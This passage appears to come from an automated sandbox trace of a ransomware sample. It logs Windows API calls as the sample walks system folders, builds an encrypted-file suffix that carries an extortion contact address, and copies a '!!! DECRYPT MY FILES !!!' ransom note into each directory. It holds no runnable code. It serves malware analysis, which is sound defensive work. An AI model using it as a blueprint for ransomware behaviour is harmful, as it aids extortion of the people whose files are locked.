lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.531] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.531] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.531] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.531] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd81c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0113.531] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebd818, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0113.531] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe584 | out: lpFindFileData=0x6ebe584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17b63f64, dwReserved1=0x1d2a02b, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4f80 [0113.531] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0113.531] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0114.112] GetProcessHeap () returned 0x630000 [0114.112] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b13b8 [0114.113] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.113] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0114.113] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0114.113] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml", len=0x4e | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 1 [0114.113] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml", cchLength=0x4e | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 0x4e [0114.113] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.113] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.113] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.113] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.114] GetProcessHeap () returned 0x630000 [0114.114] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b13b8, Size=0x10) returned 0x6b1208 [0114.114] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0114.114] SysReAllocStringLen (in: pbstr=0x6ebe880*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\", len=0x49 | out: pbstr=0x6ebe880*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 1 [0114.114] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0114.114] SysReAllocStringLen (in: pbstr=0x6ebe828*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebe828*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.114] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.114] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*.*", lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f00 [0114.114] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.114] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0114.115] SysReAllocStringLen (in: pbstr=0x6ebe878*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", len=0x58 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 1 [0114.115] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 0x58 [0114.115] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.115] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.115] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.115] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.115] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd81c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0114.115] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebd818, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0114.115] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe584 | out: lpFindFileData=0x6ebe584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17b63f64, dwReserved1=0x1d2a02b, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5000 [0114.115] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0114.115] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0114.118] GetProcessHeap () returned 0x630000 [0114.118] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1208, Size=0x14) returned 0x6b0458 [0114.118] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.118] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0114.118] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0114.119] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml", len=0x4c | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 1 [0114.119] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 0x4c [0114.119] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.119] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.119] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.119] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.119] GetProcessHeap () returned 0x630000 [0114.119] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0458, Size=0x18) returned 0x6b04f8 [0114.119] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0114.119] SysReAllocStringLen (in: pbstr=0x6ebe880*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\", len=0x49 | out: pbstr=0x6ebe880*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 1 [0114.119] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\") returned 0x49 [0114.119] SysReAllocStringLen (in: pbstr=0x6ebe828*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebe828*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.119] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.120] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*.*", lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f80 [0114.120] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.120] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0114.121] SysReAllocStringLen (in: pbstr=0x6ebe878*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", len=0x53 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 1 [0114.121] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 0x53 [0114.121] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.121] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.121] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.121] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.121] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd81c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0114.121] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebd818, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0114.121] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe584 | out: lpFindFileData=0x6ebe584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17b63f64, dwReserved1=0x1d2a02b, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5500 [0114.122] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0114.122] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0114.124] GetProcessHeap () returned 0x630000 [0114.124] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b04f8, Size=0x1c) returned 0x6e9148 [0114.124] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0114.124] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", len=0x56 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 1 [0114.124] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", cchLength=0x56 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 0x56 [0114.124] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.125] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.125] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.125] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.125] GetProcessHeap () returned 0x630000 [0114.125] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9148, Size=0x20) returned 0x6e8fe0 [0114.125] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0114.125] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml", len=0x54 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 1 [0114.125] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 0x54 [0114.125] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.125] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.125] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.125] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.126] GetProcessHeap () returned 0x630000 [0114.126] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x24) returned 0x699708 [0114.126] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.126] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0114.126] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0114.126] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml", 